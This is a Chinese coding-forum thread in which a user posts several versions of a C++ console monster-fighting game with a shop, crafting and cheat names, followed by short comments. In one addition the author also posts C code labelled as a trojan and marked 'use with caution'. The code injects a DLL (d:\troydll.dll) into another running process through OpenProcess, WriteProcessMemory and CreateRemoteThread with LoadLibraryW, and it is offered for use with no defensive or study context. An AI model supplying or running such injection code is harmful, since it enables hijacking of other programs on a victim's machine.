问题标题: 斩械星云0.30(增加了武器**,修复了一堆BUG)

4
1
已解决
杨家瑞
杨家瑞
新手光能
新手光能

/*
本版本及其简陋
斩械星云 0.00测试版
作者:沐 
*/ 
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
string playerxm;
int playergj=5,playerxl=100,playerfy=0,q=0;
int jy=0;
int dj=0;
string gwxm[6]={"星云","光影","无名","湛神","漠然"};
int gwgj[6]={10,8,12,8,9};
int gwxl[6]={120,140,150,140,130};
int gwfy[6]={2,2,2,2,2}; 
string jq="这是一颗美丽的行星,名为E-06。上面有一座孤都的城:孤都。如今它陷入了**难,你能否拯救它?(其实我就是想做一款么么哒的打怪小游戏)";
void bs(){
    system("color 01");
    system("color 02");
    system("color 03");
    system("color 04");
    system("color 05");
    system("color 06");
    system("color 07");
}
void wan(string a){
    for(int i=0;i<=a.size();i++){
        cout<<a[i];
        Sleep(100);
    }
}
void output(){
    Sleep(2000);
}
void clear(){
    system("cls");
}
void zd(int gwxl,int gwfy,int gwgj,int xl,int fy,int gj,string gwxm){
    while(xl!=0&&gwxl!=0){
        cout<<"你对"<<gwxm<<"造成了"<<gj<<"点伤害"<<endl;
        gwxl-=(gj-gwfy);
        cout<<gwxm<<"还剩"<<gwxl<<"滴血";
        Sleep(2000);
        if(gwxl<=0){
            break;
        }
        cout<<gwxm<<"对"<<"你造成了"<<gwgj<<"点伤害"<<endl;
        xl-=(gwgj-fy);
        cout<<"你还剩"<<xl<<"滴血";
        if(xl<=0){
            break;
        }
        Sleep(2000);
        system("cls");
    }
    clear();
    if(xl==0){
        cout<<"你失败了"<<endl;
        cout<<"扣除ALL经验值";
        Sleep(2000);
        jy=0;
    } 
    else{
        cout<<"你胜利了!!!"<<endl;
        cout<<"获得经验值:"<<gwxl+gwfy<<"点";
        Sleep(2000);
        jy+=abs(gwxl+gwfy);
    }
}
int main(){
    wan(jq);
    clear();
    cout<<"斩械星云 0.00测试版";
    bs();
    clear();
    cout<<"输入你的姓名?"<<endl;
    cin>>playerxm;
    if(playerxm=="Mr.沐"){
        playergj=10000000;
        playerfy=10000000;
        playerxl=10000000;
    }
    else if(playerxm=="盛海易"){
        playergj=100000000;
    }
    clear();
    while(true){
        cout<<playerxm<<",欢迎来到实验室!"<<endl;
        cout<<"1.打怪"<<endl;
        cout<<"攻击:"<<playergj<<endl;
        cout<<"血量:"<<playerxl<<endl;
        cout<<"防御:"<<playerfy<<endl;
        cout<<"钱:"<<q<<endl; 
        cout<<"经验值:"<<jy<<endl;
        int czj;
        cin>>czj;
        clear();
        if(czj==1){
            srand((int)time(0));
            int x=rand()%5;
            cout<<"怪物:"<<gwxm[x]<<endl;
            cout<<"怪物攻击:"<<gwgj[x]<<endl; 
            cout<<"怪物血量:"<<gwxl[x]<<endl;
            cout<<"怪物防御:"<<gwfy[x]<<endl;
            output();
            clear();
            zd(gwxl[x],gwfy[x],gwgj[x],playerxl,playerfy,playergj,gwxm[x]);
            clear();
        }
    } 
}

杨家瑞在2022-10-07 16:42:33追加了内容
/*
本版本及其简陋
斩械星云 0.00测试版
作者:沐 
*/ 
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
string playerxm;
long long playergj=5,playerxl=100,playerfy=0,q=0;
long long jy=0;
long long dj=0;
string gwxm[6]={"星云","光影","无名","湛神","漠然"};
long long gwgj[6]={10,8,12,8,9};
long long gwxl[6]={120,140,150,140,130};
long long gwfy[6]={2,2,2,2,2}; 
string mxlj[6]={"铁","齿轮","螺丝","能源","扳机"};
long long sl[6]={0};
int zlpsl[15]={1,2,10,4,6,15,3,2,5,6};
string xzq[30]={"","创世者","主角光环","女主光环","摩械猎手","机械**","石破天惊","斩械神","孤都勇者"};
bool sfxzq[30]={0};
string jq="这是一颗美丽的行星,名为E-06。上面有一座孤独的城:孤都。如今它陷入了**难,你能否拯救它?(其实我就是想做一款么么哒的打怪小游戏)";
void bs(){
	system("color 01");
	system("color 02");
	system("color 03");
	system("color 04");
	system("color 05");
	system("color 06");
	system("color 07");
}
void wan(string a){
	for(int i=0;i<=a.size();i++){
		cout<<a[i];
		Sleep(100);
	}
}
void output(){
	Sleep(2000);
}
void clear(){
	system("cls");
}
void zd(long long gwxl,long long gwfy,long long gwgj,long long xl,long long fy,long long gj,string gwxm){
	while(xl!=0&&gwxl!=0){
		cout<<"你对"<<gwxm<<"造成了"<<gj<<"点伤害"<<endl;
		gwxl-=(gj-gwfy);
		cout<<gwxm<<"还剩"<<gwxl<<"滴血"<<endl;
		Sleep(2000);
		if(gwxl<=0){
			break;
		}
		cout<<gwxm<<"对"<<"你造成了"<<gwgj<<"点伤害"<<endl;
		xl-=(gwgj-fy);
		cout<<"你还剩"<<xl<<"滴血";
		if(xl<=0){
			break;
		}
		Sleep(2000);
		system("cls");
	}
	clear();
	if(xl<=0){
		cout<<"你失败了"<<endl;
		cout<<"扣除ALL经验值";
		Sleep(2000);
		jy=0;
	} 
	else{
		cout<<"你胜利了!!!"<<endl;
		cout<<"获得经验值:"<<abs(gwxl+gwfy)<<"点";
		Sleep(2000);
		jy+=abs(gwxl+gwfy);
	}
}
int main(){
	wan(jq);
	clear();
	cout<<"斩械星云 0.01测试版";
	bs();
	clear();
	cout<<"输入你的姓名?"<<endl;
	cin>>playerxm;
	if(playerxm=="Mr.沐"){
		playergj=10000000;
		playerfy=10000000;
		playerxl=10000000;
		sfxzq[1]=true;
	}
	else if(playerxm=="盛海易"){
		playergj=100000000;
		sl[1]+=10;
		sl[2]+=10;
		sl[3]+=10;
		sl[4]+=10;
		sl[5]+=10;
		sfxzq[2]=true;
	}
	else if(playerxm=="司由雨"){
		q+=8000;
		sfxzq[3]=true;
	}
	clear();
	while(true){
		cout<<playerxm<<",欢迎来到实验室!"<<endl;
		cout<<"1.打怪 2.背包 3.勋章墙"<<endl;
		cout<<"攻击:"<<playergj<<endl;
		cout<<"血量:"<<playerxl<<endl;
		cout<<"防御:"<<playerfy<<endl;
		cout<<"钱:"<<q<<endl; 
		cout<<"经验值:"<<jy<<endl;
		if(jy>=100){
			dj+=jy/100;
			jy-=jy/100;
			if(dj>=100){
				sfxzq[6]=true;
			} 
		}
		cout<<"等级:"<<dj<<endl; 
		int czj;
		cin>>czj;
		clear();
		if(czj==1){
			srand((int)time(0));
			int x=rand()%5;
			cout<<"怪物:"<<gwxm[x]<<endl;
			cout<<"怪物攻击:"<<gwgj[x]<<endl; 
			cout<<"怪物血量:"<<gwxl[x]<<endl;
			cout<<"怪物防御:"<<gwfy[x]<<endl;
			output();
			clear();
			zd(gwxl[x],gwfy[x],gwgj[x],playerxl,playerfy,playergj,gwxm[x]);
			clear();
			srand((int)time(0));
			x=rand()%5;
			int kou=rand()%10;
			cout<<"恭喜获得:"<<mxlj[x]<<zlpsl[kou]<<"个";
			sl[x]+=zlpsl[kou];
			bs();
			bs(); 
			clear();
		}
		else if(czj==2){
			cout<<mxlj[1]<<" "<<sl[1]<<"个"<<endl;
			cout<<mxlj[2]<<" "<<sl[2]<<"个"<<endl;
			cout<<mxlj[3]<<" "<<sl[3]<<"个"<<endl;
			cout<<mxlj[4]<<" "<<sl[4]<<"个"<<endl;
			cout<<mxlj[5]<<" "<<sl[5]<<"个"<<endl;
			cout<<"0退出"<<endl;
			cin>>czj;
			if(czj==0){
				clear();
			}			
		}
		else if(czj==3){
			cout<<"您的荣誉"<<endl;
			for(int i=1;i<=6;i++){
				if(sfxzq[i]==true){
					cout<<xzq[i]<<endl;
				}
			}
			cout<<"0退出"<<endl;
			cin>>czj;
			if(czj==0){
				clear();
			}	
		}
	} 
}

修复了若干BUG,增加了背包战利品和勋章,以及人物彩蛋

杨家瑞在2022-10-07 18:03:55追加了内容
/*
本版本及其简陋
斩械星云 0.025测试版
作者:沐 
*/ 
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
string playerxm;
long long playergj=5,playerxl=100,playerfy=0,q=50;
long long jy=0;
long long dj=0;
string gwxm[6]={"星云","光影","无名","湛神","漠然"};
long long gwgj[6]={10,8,12,8,9};
long long gwxl[6]={120,140,150,140,130};
long long gwfy[6]={2,2,2,2,2}; 
string mxlj[8]={"","铁","齿轮","螺丝","能源","扳机"};
long long sl[6]={0};
int zlpsl[15]={1,2,10,4,6,15,3,2,5,6};
string xzq[30]={"","创世者","主角光环","女主光环","摩械猎手","机械**","石破天惊","斩械神","孤都勇者"};
bool sfxzq[30]={0};
string zztz[15]={"","天亦斩剑制造图纸","电流迅雷制造图纸","粒子光能炮制造图纸","天马之翼制造图纸","沐亡神剑制造图纸","猎虎咆哮制造图纸"}; 
string jq="这是一颗美丽的行星,名为E-06。上面有一座孤独的城:孤都。如今它陷入了**难,你能否拯救它?(其实我就是想做一款么么哒的打怪小游戏)";
void bs(){
	system("color 01");
	system("color 02");
	system("color 03");
	system("color 04");
	system("color 05");
	system("color 06");
	system("color 07");
}
void wan(string a){
	for(int i=0;i<=a.size();i++){
		cout<<a[i];
		Sleep(100);
	}
}
void output(){
	Sleep(2000);
}
void clear(){
	system("cls");
}
void zd(long long gwxl,long long gwfy,long long gwgj,long long xl,long long fy,long long gj,string gwxm,int q){
	int tm1=gwxl,tm2=gwfy;
	while(xl!=0&&gwxl!=0){
		cout<<"你对"<<gwxm<<"造成了"<<gj<<"点伤害"<<endl;
		gwxl-=(gj-gwfy);
		cout<<gwxm<<"还剩"<<gwxl<<"滴血"<<endl;
		Sleep(2000);
		if(gwxl<=0){
			break;
		}
		cout<<gwxm<<"对"<<"你造成了"<<gwgj<<"点伤害"<<endl;
		xl-=(gwgj-fy);
		cout<<"你还剩"<<xl<<"滴血";
		if(xl<=0){
			break;
		}
		Sleep(2000);
		system("cls");
	}
	clear();
	if(xl<=0){
		cout<<"你失败了"<<endl;
		cout<<"扣除ALL经验值";
		Sleep(2000);
		jy=0;
	} 
	else{
		cout<<"你胜利了!!!"<<endl;
		cout<<"获得经验值:"<<abs(gwxl+gwfy)<<"点"<<endl;
		cout<<"获得10元";
		Sleep(2000);
		jy+=abs(gwxl+gwfy)+tm1+tm2;
		q+=10;
	}
} 
int main(){
	wan(jq);
	clear();
	cout<<"斩械星云 0.025测试版";
	bs();
	clear();
	cout<<"输入你的姓名?"<<endl;
	cin>>playerxm;
	if(playerxm=="Mr.沐"){
		playergj=10000000;
		playerfy=10000000;
		playerxl=10000000;
		sfxzq[1]=true;
	}
	else if(playerxm=="盛海易"){
		playergj=100000000;
		sl[1]+=10;
		sl[2]+=10;
		sl[3]+=10;
		sl[4]+=10;
		sl[5]+=10;
		sfxzq[2]=true;
	}
	else if(playerxm=="司由雨"){
		q+=8000;
		sfxzq[3]=true;
	}
	clear();
	while(true){
		cout<<playerxm<<",欢迎来到实验室!"<<endl;
		cout<<"1.打怪 2.背包 3.勋章墙 4.前往市区"<<endl;
		cout<<"攻击:"<<playergj<<endl;
		cout<<"血量:"<<playerxl<<endl;
		cout<<"防御:"<<playerfy<<endl;
		cout<<"钱:"<<q<<endl; 
		cout<<"经验值:"<<jy<<endl;
		if(jy>=100){
			dj+=jy/100;
			jy-=jy/100;
			if(dj>=100){
				sfxzq[6]=true;
			} 
		}
		cout<<"等级:"<<dj<<endl; 
		int czj;
		cin>>czj;
		clear();
		if(czj==1){
			srand((int)time(0));
			int x=rand()%5;
			cout<<"怪物:"<<gwxm[x]<<endl;
			cout<<"怪物攻击:"<<gwgj[x]<<endl; 
			cout<<"怪物血量:"<<gwxl[x]<<endl;
			cout<<"怪物防御:"<<gwfy[x]<<endl;
			output();
			clear();
			zd(gwxl[x],gwfy[x],gwgj[x],playerxl,playerfy,playergj,gwxm[x],q);
			clear();
			srand((int)time(0));
			x=rand()%5;
			int kou=rand()%10;
			cout<<"恭喜获得:"<<mxlj[x]<<zlpsl[kou]<<"个";
			sl[x]+=zlpsl[kou];
			bs();
			bs(); 
			clear();
		}
		else if(czj==2){
			cout<<mxlj[1]<<" "<<sl[1]<<"个"<<endl;
			cout<<mxlj[2]<<" "<<sl[2]<<"个"<<endl;
			cout<<mxlj[3]<<" "<<sl[3]<<"个"<<endl;
			cout<<mxlj[4]<<" "<<sl[4]<<"个"<<endl;
			cout<<mxlj[5]<<" "<<sl[5]<<"个"<<endl;
			cout<<"0退出"<<endl;
			cin>>czj;
			if(czj==0){
				clear();
			}			
		}
		else if(czj==3){
			cout<<"您的荣誉"<<endl;
			for(int i=1;i<=6;i++){
				if(sfxzq[i]==true){
					cout<<xzq[i]<<endl;
				}
			}
			cout<<"0退出"<<endl;
			cin>>czj;
			if(czj==0){
				clear();
			}	
		}
		else if(czj==4){
			cout<<"欢迎来到市区!"<<endl;
			cout<<"出售:"<<endl;
			cout<<mxlj[1]<<" "<<"15元"<<endl;
			cout<<mxlj[2]<<" "<<"15元"<<endl;
			cout<<mxlj[3]<<" "<<"15元"<<endl;
			cout<<mxlj[4]<<" "<<"15元"<<endl;
			cout<<mxlj[5]<<" "<<"15元"<<endl;
			cout<<"经验礼包"<<" "<<"40元"<<endl;
			cout<<"战力礼包"<<" "<<"40元"<<endl;
			cout<<"请输入你想获得的商品(第几个)"<<endl;
			cin>>czj;
			if(czj==1||czj==2||czj==3||czj==4||czj==5){
				if(q>=15){
					q-=15;
					cout<<"购买成功!"<<endl;
					sl[czj]++;
				}
				else{
					cout<<"钱不够啦!"<<endl;
				}
			}
			else{
				if(czj==5){
					if(q>=40){
						q-=40;
						cout<<"购买成功!"<<endl;
						jy+=400;
					}
					else{
						cout<<"钱不够啦!"<<endl; 
					}
				}
				if(czj==6){
					if(q>=40){
						q-=40;
						cout<<"购买成功!"<<endl;
						playerxl+=100;
						playergj+=10;
					}
					else{
						cout<<"钱不够啦!"<<endl; 
					}
				}
			}
			Sleep(3000);
			clear(); 
		}
	} 
}

修复了若干BUG,增加了商店,玩家们不用开**也能打怪了!!!

杨家瑞在2022-10-14 20:17:47追加了内容

这是关机好不好!

木马:

谨慎使用!!!

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
int CheckError ( int, int, char *);
PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000; 
strcpy(lpDllFullPathName, "d:\\troydll.dll");
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | 
PROCESS_VM_OPERATION | 
PROCESS_VM_WRITE,
FALSE, dwRemoteProcessId ); 
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
WaitForSingleObject(hRemoteThread, INFINITE);
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL) 
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
// 
杨家瑞在2022-10-15 11:08:55追加了内容
/*
本版本及其简陋
斩械星云 0.30测试版
作者:沐 
*/ 
#include<bits/stdc++.h>
#include<windows.h>
#include<fstream> 
using namespace std;
string playerxm;
long long playergj=5,playerxl=100,playerfy=0,q=50;
long long jy=0;
long long dj=0;
string gwxm[6]={"星云","光影","无名","湛神","漠然"};
long long gwgj[6]={10,8,12,8,9};
long long gwxl[6]={120,140,150,140,130};
long long gwfy[6]={2,2,2,2,2}; 
string mxlj[8]={"","铁","齿轮","螺丝","能源","扳机"};
long long sl[6]={0};
int zlpsl[15]={1,2,10,4,6,15,3,2,5,6};
string xzq[30]={"","创世者","主角光环","女主光环","摩械猎手","机械**","石破天惊","斩械神","孤都勇者"};
bool sfxzq[30]={0};
string zztz[15]={"","天亦斩剑制造图纸","电流迅雷制造图纸","粒子光能炮制造图纸","天马之翼制造图纸","沐亡神剑制造图纸","猎虎咆哮制造图纸"};
bool zztzs[15]={false}; 
string jq="这是一颗美丽的行星,名为E-06。上面有一座孤独的城:孤都。如今它陷入了**难,你能否拯救它?(其实我就是想做一款么么哒的打怪小游戏)";
string wq="空";
long long mxgj=0;
long long mxfy=0;
string jcmx[10]={"","冲锋枪","光能剑","护甲"};
int jcmxsl[10]={0};
long long jcmxgj[10]={0,20,20,0};
long long jcmxfy[10]={0,0,0,10};
void bs(){
    system("color 01");
    system("color 02");
    system("color 03");
    system("color 04");
    system("color 05");
    system("color 06");
    system("color 07");
}
void wan(string a){
    for(int i=0;i<=a.size();i++){
        cout<<a[i];
        Sleep(100);
    }
}
void output(){
    Sleep(2000);
}
void clear(){
    system("cls");
}
bool zd(long long gwxl,long long gwfy,long long gwgj,long long xl,long long fy,long long gj,string gwxm,int q){
    int tm1=gwxl,tm2=gwfy;
    while(xl!=0&&gwxl!=0){
        cout<<"你对"<<gwxm<<"造成了"<<gj<<"点伤害"<<endl;
        gwxl-=(gj-gwfy);
        cout<<gwxm<<"还剩"<<gwxl<<"滴血"<<endl;
        Sleep(2000);
        if(gwxl<=0){
            break;
        }
        cout<<gwxm<<"对"<<"你造成了"<<gwgj<<"点伤害"<<endl;
        xl-=(gwgj-fy);
        cout<<"你还剩"<<xl<<"滴血";
        if(xl<=0){
            break;
        }
        Sleep(2000);
        system("cls");
    }
    clear();
    if(xl<=0){
        cout<<"你失败了"<<endl;
        cout<<"扣除ALL经验值";
        Sleep(2000);
        jy=0;
        return false;
    } 
    else{
        cout<<"你胜利了!!!"<<endl;
        cout<<"获得经验值:"<<tm1+tm2<<"点"<<endl;
        cout<<"获得10元";
        Sleep(2000);
        jy+=tm1+tm2;
        q+=10;
        return true;
    }
} 
int main(){
	cout<<"是否跳过剧情?(T or F)"<<endl;
	char sf;
	cin>>sf;
	clear();
	if(sf=='F'){
		wan(jq);
		clear();
	}
    cout<<"斩械星云 0.030测试版";
    bs();
    clear();
    cout<<"输入你的姓名?"<<endl;
    cin>>playerxm;
    if(playerxm=="Mr.沐"){
        playergj=10000000;
        playerfy=10000000;
        playerxl=10000000;
        sfxzq[1]=true;
    }
    else if(playerxm=="盛海易"){
        playergj=100000000;
        sl[1]+=10;
        sl[2]+=10;
        sl[3]+=10;
        sl[4]+=10;
        sl[5]+=10;
        sfxzq[2]=true;
    }
    else if(playerxm=="司由雨"){
        q+=8000;
        sfxzq[3]=true;
    }
    clear();
    while(true){
        cout<<playerxm<<",欢迎来到实验室!"<<endl;
        cout<<"0.退出 1.打怪 2.背包 3.勋章墙 4.前往市区 5.制造"<<endl;
        cout<<"攻击:"<<playergj<<endl;
        cout<<"血量:"<<playerxl<<endl;
        cout<<"防御:"<<playerfy<<endl;
        cout<<"钱:"<<q<<endl; 
        cout<<"经验值:"<<jy<<endl;
        cout<<"使用摩械:"<<wq<<endl;
        if(jy>=100){
            dj+=jy/100;
            jy-=jy/100;
            if(dj>=100){
                sfxzq[6]=true;
            } 
        }
        cout<<"等级:"<<dj<<endl; 
        int czj;
        cin>>czj;
        clear();
        if(czj==0){
            break;
        }
        if(czj==1){
            srand((int)time(0));
            int x=rand()%5;
            cout<<"怪物:"<<gwxm[x]<<endl;
            cout<<"怪物攻击:"<<gwgj[x]<<endl; 
            cout<<"怪物血量:"<<gwxl[x]<<endl;
            cout<<"怪物防御:"<<gwfy[x]<<endl;
            output();
            clear();
            if(zd(gwxl[x],gwfy[x],gwgj[x],playerxl,playerfy,playergj,gwxm[x],q)==true){
            	cout<<endl;
                srand((int)time(0));
                x=rand()%5;
                int kou=rand()%10;
                cout<<"恭喜获得:"<<mxlj[x]<<zlpsl[kou]<<"个";
                sl[x]+=zlpsl[kou];
                bs();
                bs(); 
                clear();
            }
            clear();
        }
        else if(czj==2){
            cout<<"零件:"<<endl;
            for(int i=1;i<=5;i++){
                cout<<mxlj[i]<<" "<<sl[i]<<"个"<<endl;
            }
            cout<<endl;
            cout<<"基**摩械:"<<endl;
            for(int i=1;i<=3;i++){
                cout<<jcmx[i]<<" "<<jcmxsl[i]<<"个"<<endl;
            }
            cout<<"请选择你要切换的摩械(0退出)"<<endl;
            cin>>czj;
            if(czj==0){
                clear();
            }
			else{
				if(jcmxsl[czj]>=0){
					cout<<"切换成功!"<<endl;
					mxgj=jcmxgj[czj];
					mxfy=jcmxgj[czj];
					wq=jcmx[czj];
					playergj+=mxgj;
					playerfy+=mxfy;
				}
			}
			clear();           
        }
        else if(czj==3){
            cout<<"您的荣誉"<<endl;
            for(int i=1;i<=6;i++){
                if(sfxzq[i]==true){
                    cout<<xzq[i]<<endl;
                }
            }
            cout<<"0退出"<<endl;
            cin>>czj;
            if(czj==0){
                clear();
            }   
        }
        else if(czj==4){
            cout<<"欢迎来到市区!"<<endl;
            cout<<"出售:"<<endl;
            cout<<mxlj[1]<<" "<<"15元"<<endl;
            cout<<mxlj[2]<<" "<<"15元"<<endl;
            cout<<mxlj[3]<<" "<<"15元"<<endl;
            cout<<mxlj[4]<<" "<<"15元"<<endl;
            cout<<mxlj[5]<<" "<<"15元"<<endl;
            cout<<"经验礼包"<<" "<<"40元"<<endl;
            cout<<"战力礼包"<<" "<<"40元"<<endl;
            cout<<"请输入你想获得的商品(第几个)"<<endl;
            cin>>czj;
            if(czj==1||czj==2||czj==3||czj==4||czj==5){
                if(q>=15){
                    q-=15;
                    cout<<"购买成功!"<<endl;
                    sl[czj]++;
                }
                else{
                    cout<<"钱不够啦!"<<endl;
                }
            }
            else{
                if(czj==5){
                    if(q>=40){
                        q-=40;
                        cout<<"购买成功!"<<endl;
                        jy+=400;
                    }
                    else{
                        cout<<"钱不够啦!"<<endl; 
                    }
                }
                if(czj==6){
                    if(q>=40){
                        q-=40;
                        cout<<"购买成功!"<<endl;
                        playerxl+=100;
                        playergj+=10;
                    }
                    else{
                        cout<<"钱不够啦!"<<endl; 
                    }
                }
            }
            Sleep(3000);
            clear(); 
        }
        else if(czj==5){
            cout<<"摩械合成,欢迎来到合成室!"<<endl;
            cout<<"1."<<jcmx[1]<<":"<<"所需零件:"<<"扳机一个,螺丝三个,铁一个/攻击增加20"<<endl;
            cout<<"2."<<jcmx[2]<<":"<<"所需零件:"<<"能源一个,齿轮一个,螺丝三个/攻击增加20"<<endl;
            cout<<"3."<<jcmx[3]<<":"<<"所需零件:"<<"铁五个,螺丝三个/防御增加10"<<endl;
            cout<<"请选择你要打造的摩械(不合成输入0)"<<endl;//{"","铁","齿轮","螺丝","能源","扳机"};
			cin>>czj; 
			if(czj==1){
				if(sl[5]>=1&&sl[3]>=3&&sl[1]>=1){
					cout<<"合成成功!"<<endl;
					jcmxsl[1]++;
					wq=jcmx[1];
					sl[5]--;
					sl[3]-=3;
					sl[1]--;
					mxgj=20;
					mxfy=0;
					playergj+=mxgj;
					playerfy+=mxfy;
				}
				else{
					cout<<"材料不够!!!"<<endl;
				}
			}
			else if(czj==2){
				if(sl[4]>=1&&sl[2]>=1&&sl[3]>=3){
					cout<<"合成成功!"<<endl;
					jcmxsl[2]++;
					wq=jcmx[2];
					sl[4]--;
					sl[2]--;
					sl[3]-=3;
					mxgj=20;
					mxfy=0;
					playergj+=mxgj;
					playerfy+=mxfy;
				}
				else{
					cout<<"材料不够!!!"<<endl;
				}
			} 
			if(czj==3){
				if(sl[1]>=5&&sl[3]>=3){
					cout<<"合成成功!"<<endl;
					jcmxsl[3]++;
					wq=jcmx[3];
					sl[1]-=5;
					sl[3]-=3;
					mxgj=0;
					mxfy=10;
					playergj+=mxgj;
					playerfy+=mxfy;
				}
				else{
					cout<<"材料不够!!!"<<endl;
				}
			}
			clear();  
        }
    }
    return 0; 
}

增加了武器**,修复了一堆BUG,打算开始搞剧情了!


0
0
熊潇然
熊潇然
初级启示者
初级启示者

可以加上逐字输出

 

0
0
0
0
0
杨家瑞
杨家瑞
新手光能
新手光能

有问题欢迎在评论区中指出

0
0
钱帅文
钱帅文
中级天翼
中级天翼

代码小说?(不过挺好玩的)

0
我要回答